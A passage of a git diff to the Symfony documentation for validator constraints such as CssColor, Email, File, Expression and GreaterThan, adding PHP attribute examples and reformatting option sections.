+CSS colors. Use the ``formats`` option to restrict which CSS formats are allowed.
+These are the available formats (which are also defined as PHP constants; e.g.
+``Assert\CssColor::HEX_LONG``):
+
+* ``hex_long``
+* ``hex_long_with_alpha``
+* ``hex_short``
+* ``hex_short_with_alpha``
+* ``basic_named_colors``
+* ``extended_named_colors``
+* ``system_colors``
+* ``keywords``
+* ``rgb``
+* ``rgba``
+* ``hsl``
+* ``hsla``
+
+hex_long
+........
+
+A regular expression. Allows all values which represent a CSS color of 6
+characters (in addition of the leading ``#``) and contained in ranges: ``0`` to
+``9`` and ``A`` to ``F`` (case insensitive).
+
+Examples: ``#2F2F2F``, ``#2f2f2f``
+
+hex_long_with_alpha
+...................
+
+A regular expression. Allows all values which represent a CSS color with alpha
+part of 8 characters (in addition of the leading ``#``) and contained in
+ranges: ``0`` to ``9`` and ``A`` to ``F`` (case insensitive).
+
+Examples: ``#2F2F2F80``, ``#2f2f2f80``
+
+hex_short
+.........
+
+A regular expression. Allows all values which represent a CSS color of strictly
+3 characters (in addition of the leading ``#``) and contained in ranges: ``0``
+to ``9`` and ``A`` to ``F`` (case insensitive).
+
+Examples: ``#CCC``, ``#ccc``
+
+hex_short_with_alpha
+....................
+
+A regular expression. Allows all values which represent a CSS color with alpha
+part of strictly 4 characters (in addition of the leading ``#``) and contained
+in ranges: ``0`` to ``9`` and ``A`` to ``F`` (case insensitive).
+
+Examples: ``#CCC8``, ``#ccc8``
+
+basic_named_colors
+..................
+
+Any of the valid color names defined in the `W3C list of basic named colors`_
+(case insensitive).
+
+Examples: ``black``, ``red``, ``green``
+
+extended_named_colors
+.....................
+
+Any of the valid color names defined in the `W3C list of extended named colors`_
+(case insensitive).
+
+Examples: ``aqua``, ``brown``, ``chocolate``
+
+system_colors
+.............
+
+Any of the valid color names defined in the `CSS WG list of system colors`_
+(case insensitive).
+
+Examples: ``LinkText``, ``VisitedText``, ``ActiveText``, ``ButtonFace``, ``ButtonText``
+
+keywords
+........
+
+Any of the valid keywords defined in the `CSS WG list of keywords`_ (case insensitive).
+
+Examples: ``transparent``, ``currentColor``
+
+rgb
+...
+
+A regular expression. Allows all values which represent a CSS color following
+the RGB notation, with or without space between values.
+
+Examples: ``rgb(255, 255, 255)``, ``rgb(255,255,255)``
+
+rgba
+....
+
+A regular expression. Allows all values which represent a CSS color with alpha
+part following the RGB notation, with or without space between values.
+
+Examples: ``rgba(255, 255, 255, 0.3)``, ``rgba(255,255,255,0.3)``
+
+hsl
+...
+
+A regular expression. Allows all values which represent a CSS color following
+the HSL notation, with or without space between values.
+
+Examples: ``hsl(0, 0%, 20%)``, ``hsl(0,0%,20%)``
+
+hsla
+....
+
+A regular expression. Allows all values which represent a CSS color with alpha
+part following the HSLA notation, with or without space between values.
+
+Examples: ``hsla(0, 0%, 20%, 0.4)``, ``hsla(0,0%,20%,0.4)``
+
+.. include:: /reference/constraints/_payload-option.rst.inc
+
+.. _`W3C list of basic named colors`: https://www.w3.org/wiki/CSS/Properties/color/keywords#Basic_Colors
+.. _`W3C list of extended named colors`: https://www.w3.org/wiki/CSS/Properties/color/keywords#Extended_colors
+.. _`CSS WG list of system colors`: https://drafts.csswg.org/css-color/#css-system-colors
+.. _`CSS WG list of keywords`: https://drafts.csswg.org/css-color/#transparent-color
diff --git a/reference/constraints/Currency.rst b/reference/constraints/Currency.rst
index 651af1b1a92..d1cd5c4d17d 100644
--- a/reference/constraints/Currency.rst
+++ b/reference/constraints/Currency.rst
@@ -5,9 +5,6 @@ Validates that a value is a valid `3-letter ISO 4217`_ currency name.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Currency`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CurrencyValidator`
 ==========  ===================================================================
@@ -35,6 +32,19 @@ a valid currency, you could do the following:
             protected $currency;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\Currency]
+            protected $currency;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Date.rst b/reference/constraints/Date.rst
index 4b1e99c3ed1..999c06f939c 100644
--- a/reference/constraints/Date.rst
+++ b/reference/constraints/Date.rst
@@ -6,9 +6,6 @@ be cast into a string) that follows a valid ``YYYY-MM-DD`` format.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Date`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\DateValidator`
 ==========  ===================================================================
@@ -34,6 +31,19 @@ Basic Usage
             protected $birthday;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Date]
+            protected $birthday;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/DateTime.rst b/reference/constraints/DateTime.rst
index 582f93aeac8..4802e06392b 100644
--- a/reference/constraints/DateTime.rst
+++ b/reference/constraints/DateTime.rst
@@ -6,10 +6,6 @@ that can be cast into a string) that follows a specific format.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `format`_
-            - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\DateTime`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\DateTimeValidator`
 ==========  ===================================================================
@@ -35,6 +31,22 @@ Basic Usage
             protected $createdAt;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            /**
+             * @var string A "Y-m-d H:i:s" formatted value
+             */
+            #[Assert\DateTime]
+            protected $createdAt;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -84,8 +96,8 @@ Basic Usage
 Options
 -------
 
-format
-~~~~~~
+``format``
+~~~~~~~~~~
 
 **type**: ``string`` **default**: ``Y-m-d H:i:s``
 
diff --git a/reference/constraints/DivisibleBy.rst b/reference/constraints/DivisibleBy.rst
index 4503959aa57..2c1fdb4fe87 100644
--- a/reference/constraints/DivisibleBy.rst
+++ b/reference/constraints/DivisibleBy.rst
@@ -11,11 +11,6 @@ Validates that a value is divisible by another value, defined in the options.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\DivisibleBy`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\DivisibleByValidator`
 ==========  ===================================================================
@@ -39,7 +34,6 @@ The following constraints ensure that:
 
         class Item
         {
-
             /**
              * @Assert\DivisibleBy(0.25)
              */
@@ -53,6 +47,24 @@ The following constraints ensure that:
             protected $quantity;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Item.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Item
+        {
+            #[Assert\DivisibleBy(0.25)]
+            protected $weight;
+
+            #[Assert\DivisibleBy(
+                value: 5,
+            )]
+            protected $quantity;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -111,8 +123,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be a multiple of {{ compared_value }}.``
 
diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 468051004a0..ddf462ef6b4 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -6,11 +6,6 @@ cast to a string before being validated.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `mode`_
-            - `normalizer`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Email`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\EmailValidator`
 ==========  ===================================================================
@@ -37,6 +32,21 @@ Basic Usage
             protected $email;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Email(
+                message: 'The email {{ value }} is not a valid email.',
+            )]
+            protected $email;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -88,8 +98,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid email address.``
 
@@ -108,34 +118,26 @@ Parameter        Description
 
     The ``{{ label }}`` parameter was introduced in Symfony 5.2.
 
-mode
-~~~~
-
-**type**: ``string`` **default**: ``loose``
-
-This option is optional and defines the pattern the email address is validated against.
-Valid values are:
-
-* ``loose``
-* ``strict``
-* ``html5``
-
-loose
-.....
+.. _reference-constraint-email-mode:
 
-A simple regular expression. Allows all values with an "@" symbol in, and a "."
-in the second host part of the email address.
+``mode``
+~~~~~~~~
 
-strict
-......
+**type**: ``string`` **default**: (see below)
 
-Uses the `egulias/email-validator`_ library to perform an RFC compliant
-validation. You will need to install that library to use this mode.
+This option defines the pattern used to validate the email address. Valid values are:
 
-html5
-.....
+* ``loose`` uses a simple regular expression (just checks that at least one ``@``
+  character is present, etc.). This validation is too simple and it's recommended
+  to use one of the other modes instead;
+* ``html5`` uses the same regular expression as the `HTML5 email input element`_,
+  making the backend validation consistent with the one provided by browsers;
+* ``strict`` uses the `egulias/email-validator`_ library (which you must
+  install separately) for validation according to `RFC 5322`_.
 
-This matches the pattern used for the `HTML5 email input element`_.
+The default value used by this option is set in the
+:ref:`framework.validation.email_validation_mode <reference-validation-email_validation_mode>`
+configuration option.
 
 .. include:: /reference/constraints/_normalizer-option.rst.inc
 
@@ -143,3 +145,4 @@ This matches the pattern used for the `HTML5 email input element`_.
 
 .. _egulias/email-validator: https://packagist.org/packages/egulias/email-validator
 .. _HTML5 email input element: https://www.w3.org/TR/html5/sec-forms.html#valid-e-mail-address
+.. _RFC 5322: https://tools.ietf.org/html/rfc5322
diff --git a/reference/constraints/EqualTo.rst b/reference/constraints/EqualTo.rst
index 153d13a3098..06578c27c19 100644
--- a/reference/constraints/EqualTo.rst
+++ b/reference/constraints/EqualTo.rst
@@ -13,11 +13,6 @@ To force that a value is *not* equal, see :doc:`/reference/constraints/NotEqualT
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\EqualTo`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\EqualToValidator`
 ==========  ===================================================================
@@ -52,6 +47,24 @@ and that the ``age`` is ``20``, you could do the following:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\EqualTo('Mary')]
+            protected $firstName;
+
+            #[Assert\EqualTo(
+                value: 20,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index 2ed816f3a03..65a38efb415 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -9,11 +9,6 @@ gives you similar flexibility.
 ==========  ===================================================================
 Applies to  :ref:`class <validation-class-target>`
             or :ref:`property/method <validation-property-target>`
-Options     - :ref:`expression <reference-constraint-expression-option>`
-            - `groups`_
-            - `message`_
-            - `payload`_
-            - `values`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Expression`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\ExpressionValidator`
 ==========  ===================================================================
@@ -78,6 +73,22 @@ One way to accomplish this is with the Expression constraint:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Model/BlogPost.php
+        namespace App\Model;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        #[Assert\Expression(
+            "this.getCategory() in ['php', 'symfony'] or !this.isTechnicalPost()",
+            message: 'If this is a tech post, the category should be either php or symfony!',
+        )]
+        class BlogPost
+        {
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -163,6 +174,26 @@ more about the expression language syntax, see
                 // ...
             }
 
+        .. code-block:: php-attributes
+
+            // src/Model/BlogPost.php
+            namespace App\Model;
+
+            use Symfony\Component\Validator\Constraints as Assert;
+
+            class BlogPost
+            {
+                // ...
+
+                #[Assert\Expression(
+                    "this.getCategory() in ['php', 'symfony'] or value == false",
+                    message: 'If this is a tech post, the category should be either php or symfony!',
+                )]
+                private $isTechnicalPost;
+
+                // ...
+            }
+
         .. code-block:: yaml
 
             # config/validator/validation.yaml
@@ -269,8 +300,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-values
-~~~~~~
+``values``
+~~~~~~~~~~
 
 **type**: ``array`` **default**: ``[]``
 
@@ -299,6 +330,24 @@ type (numeric, boolean, strings, null, etc.)
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Model/Analysis.php
+        namespace App\Model;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Analysis
+        {
+            #[Assert\Expression(
+                'value + error_margin < threshold',
+                values: ['error_margin' => 0.25, 'threshold' => 1.5],
+            )]
+            private $metric;
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/ExpressionLanguageSyntax.rst b/reference/constraints/ExpressionLanguageSyntax.rst
index 2ca0355dfaf..6dfb7cbc420 100644
--- a/reference/constraints/ExpressionLanguageSyntax.rst
+++ b/reference/constraints/ExpressionLanguageSyntax.rst
@@ -10,10 +10,6 @@ expression.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `allowedVariables`_
-            - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\ExpressionLanguageSyntax`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\ExpressionLanguageSyntaxValidator`
 ==========  ===================================================================
@@ -40,18 +36,36 @@ The following constraints ensure that:
         class Order
         {
             /**
-             * @Assert\ExpressionLanguageSyntax()
+             * @Assert\ExpressionLanguageSyntax
              */
             protected $promotion;
 
             /**
              * @Assert\ExpressionLanguageSyntax(
-             *     allowedVariables = ['user', 'shipping_centers']
+             *     allowedVariables={"user", "shipping_centers"}
              * )
              */
             protected $shippingOptions;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\ExpressionLanguageSyntax]
+            protected $promotion;
+
+            #[Assert\ExpressionLanguageSyntax(
+                allowedVariables: ['user', 'shipping_centers'],
+            )]
+            protected $shippingOptions;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -77,7 +91,10 @@ The following constraints ensure that:
                 </property>
                 <property name="shippingOptions">
                     <constraint name="ExpressionLanguageSyntax">
-                        <option name="allowedVariables">['user', 'shipping_centers']</option>
+                        <option name="allowedVariables">
+                            <value>user</value>
+                            <value>shipping_centers</value>
+                        </option>
                     </constraint>
                 </property>
             </class>
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index f1a27ac8f20..1eaed6075d0 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -11,31 +11,13 @@ Validates that a value is a valid "file", which can be one of the following:
 This constraint is commonly used in forms with the :doc:`FileType </reference/forms/types/file>`
 form field.
 
-.. tip::
+.. seealso::
 
     If the file you're validating is an image, try the :doc:`Image </reference/constraints/Image>`
     constraint.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `binaryFormat`_
-            - `disallowEmptyMessage`_
-            - `groups`_
-            - `maxSize`_
-            - `maxSizeMessage`_
-            - `mimeTypes`_
-            - `mimeTypesMessage`_
-            - `notFoundMessage`_
-            - `notReadableMessage`_
-            - `payload`_
-            - `uploadCantWriteErrorMessage`_
-            - `uploadErrorMessage`_
-            - `uploadExtensionErrorMessage`_
-            - `uploadFormSizeErrorMessage`_
-            - `uploadIniSizeErrorMessage`_
-            - `uploadNoFileErrorMessage`_
-            - `uploadNoTmpDirErrorMessage`_
-            - `uploadPartialErrorMessage`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\File`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\FileValidator`
 ==========  ===================================================================
@@ -93,6 +75,23 @@ below a certain file size and a valid PDF, add the following:
             protected $bioFile;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\File(
+                maxSize: '1024k',
+                mimeTypes: ['application/pdf', 'application/x-pdf'],
+                mimeTypesMessage: 'Please upload a valid PDF',
+            )]
+            protected $bioFile;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -158,8 +157,8 @@ have been specified.
 Options
 -------
 
-binaryFormat
-~~~~~~~~~~~~
+``binaryFormat``
+~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``null``
 
@@ -171,8 +170,8 @@ the value defined in the ``maxSize`` option.
 For more information about the difference between binary and SI prefixes,
 see `Wikipedia: Binary prefix`_.
 
-disallowEmptyMessage
-~~~~~~~~~~~~~~~~~~~~
+``disallowEmptyMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``An empty file is not allowed.``
 
@@ -190,8 +189,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-maxSize
-~~~~~~~
+``maxSize``
+~~~~~~~~~~~
 
 **type**: ``mixed``
 
@@ -212,8 +211,8 @@ Suffix  Unit Name  Value            Example
 For more information about the difference between binary and SI prefixes,
 see `Wikipedia: Binary prefix`_.
 
-maxSizeMessage
-~~~~~~~~~~~~~~
+``maxSizeMessage``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file is too large ({{ size }} {{ suffix }}). Allowed maximum size is {{ limit }} {{ suffix }}.``
 
@@ -231,8 +230,8 @@ Parameter         Description
 ``{{ suffix }}``  Suffix for the used file size unit (see above)
 ================  =============================================================
 
-mimeTypes
-~~~~~~~~~
+``mimeTypes``
+~~~~~~~~~~~~~
 
 **type**: ``array`` or ``string``
 
@@ -252,8 +251,8 @@ You can find a list of existing mime types on the `IANA website`_.
     (i.e. the form type is not defined explicitly in the ``->add()`` method of
     the form builder) and when the field doesn't define its own ``accept`` value.
 
-mimeTypesMessage
-~~~~~~~~~~~~~~~~
+``mimeTypesMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The mime type of the file is invalid ({{ type }}). Allowed mime types are {{ types }}.``
 
@@ -271,8 +270,8 @@ Parameter        Description
 ``{{ types }}``  The list of allowed MIME types
 ===============  ==============================================================
 
-notFoundMessage
-~~~~~~~~~~~~~~~
+``notFoundMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file could not be found.``
 
@@ -288,8 +287,8 @@ Parameter        Description
 ``{{ file }}``   Absolute file path
 ===============  ==============================================================
 
-notReadableMessage
-~~~~~~~~~~~~~~~~~~
+``notReadableMessage``
+~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file is not readable.``
 
@@ -306,8 +305,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-uploadCantWriteErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadCantWriteErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``Cannot write temporary file to disk.``
 
@@ -316,8 +315,8 @@ temporary folder.
 
 This message has no parameters.
 
-uploadErrorMessage
-~~~~~~~~~~~~~~~~~~
+``uploadErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file could not be uploaded.``
 
@@ -326,8 +325,8 @@ for some unknown reason.
 
 This message has no parameters.
 
-uploadExtensionErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadExtensionErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``A PHP extension caused the upload to fail.``
 
@@ -336,8 +335,8 @@ fail.
 
 This message has no parameters.
 
-uploadFormSizeErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadFormSizeErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file is too large.``
 
@@ -346,8 +345,8 @@ by the HTML file input field.
 
 This message has no parameters.
 
-uploadIniSizeErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadIniSizeErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file is too large. Allowed maximum size is {{ limit }} {{ suffix }}.``
 
@@ -363,8 +362,8 @@ Parameter         Description
 ``{{ suffix }}``  Suffix for the used file size unit (see above)
 ================  =============================================================
 
-uploadNoFileErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadNoFileErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``No file was uploaded.``
 
@@ -372,8 +371,8 @@ The message that is displayed if no file was uploaded.
 
 This message has no parameters.
 
-uploadNoTmpDirErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadNoTmpDirErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``No temporary folder was configured in php.ini.``
 
@@ -382,8 +381,8 @@ missing.
 
 This message has no parameters.
 
-uploadPartialErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadPartialErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file was only partially uploaded.``
 
diff --git a/reference/constraints/GreaterThan.rst b/reference/constraints/GreaterThan.rst
index d27017fdbe5..22331edd957 100644
--- a/reference/constraints/GreaterThan.rst
+++ b/reference/constraints/GreaterThan.rst
@@ -8,11 +8,6 @@ than another value, see :doc:`/reference/constraints/LessThan`.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThan`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanValidator`
 ==========  ===================================================================
@@ -49,6 +44,24 @@ The following constraints ensure that:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\GreaterThan(5)]
+            protected $siblings;
+
+            #[Assert\GreaterThan(
+                value: 18,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -126,6 +139,19 @@ that a date must at least be the next day:
             protected $deliveryDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\GreaterThan('today')]
+            protected $deliveryDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -185,6 +211,19 @@ dates. If you want to fix the timezone, append it to the date string:
             protected $deliveryDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\GreaterThan('today UTC')]
+            protected $deliveryDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -245,6 +284,19 @@ current time:
             protected $deliveryDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\GreaterThan('+5 hours')]
+            protected $deliveryDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/GreaterThanOrEqual.rst b/reference/constraints/GreaterThanOrEqual.rst
index 8a054e6bbb9..79578c5a5f7 100644
--- a/reference/constraints/GreaterThanOrEqual.rst
+++ b/reference/constraints/GreaterThanOrEqual.rst
@@ -7,11 +7,6 @@ the options. To force that a value is greater than another value, see
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqual`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqualValidator`
 ==========  ===================================================================
@@ -48,6 +43,24 @@ The following constraints ensure that:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\GreaterThanOrEqual(5)]
+            protected $siblings;
+
+            #[Assert\GreaterThanOrEqual(
+                value: 18,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -125,6 +138,19 @@ that a date must at least be the current day:
             protected $deliveryDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\GreaterThanOrEqual('today')]
+            protected $deliveryDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -184,6 +210,19 @@ dates. If you want to fix the timezone, append it to the date string:
             protected $deliveryDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\GreaterThanOrEqual('today UTC')]
+            protected $deliveryDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -244,6 +283,19 @@ current time:
             protected $deliveryDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\GreaterThanOrEqual('+5 hours')]
+            protected $deliveryDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Hostname.rst b/reference/constraints/Hostname.rst
index 9e67fb3c8fc..56182fafc9a 100644
--- a/reference/constraints/Hostname.rst
+++ b/reference/constraints/Hostname.rst
@@ -11,10 +11,6 @@ function).
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `requireTld`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Hostname`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\HostnameValidator`
 ==========  ===================================================================
@@ -42,6 +38,19 @@ will contain a host name.
             protected $name;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/ServerSettings.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class ServerSettings
+        {
+            #[Assert\Hostname(message: 'The server name must be a valid hostname.')]
+            protected $name;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -122,7 +131,7 @@ Parameter        Description
 ``requireTld``
 ~~~~~~~~~~~~~~
 
-**type**: ``bool`` **default**: ``true``
+**type**: ``boolean`` **default**: ``true``
 
 By default, hostnames are considered valid only when they are fully qualified
 and include their TLDs (top-level domain names). For instance, ``example.com``
diff --git a/reference/constraints/Iban.rst b/reference/constraints/Iban.rst
index 709270f7b12..7c8ee5ab060 100644
--- a/reference/constraints/Iban.rst
+++ b/reference/constraints/Iban.rst
@@ -8,9 +8,6 @@ borders with a reduced risk of propagating transcription errors.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Iban`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IbanValidator`
 ==========  ===================================================================
@@ -40,6 +37,21 @@ will contain an International Bank Account Number.
             protected $bankAccountNumber;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Transaction.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Transaction
+        {
+            #[Assert\Iban(
+                message: 'This is not a valid International Bank Account Number (IBAN).',
+            )]
+            protected $bankAccountNumber;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/IdenticalTo.rst b/reference/constraints/IdenticalTo.rst
index 10f1fb52342..f5b2644e3a9 100644
--- a/reference/constraints/IdenticalTo.rst
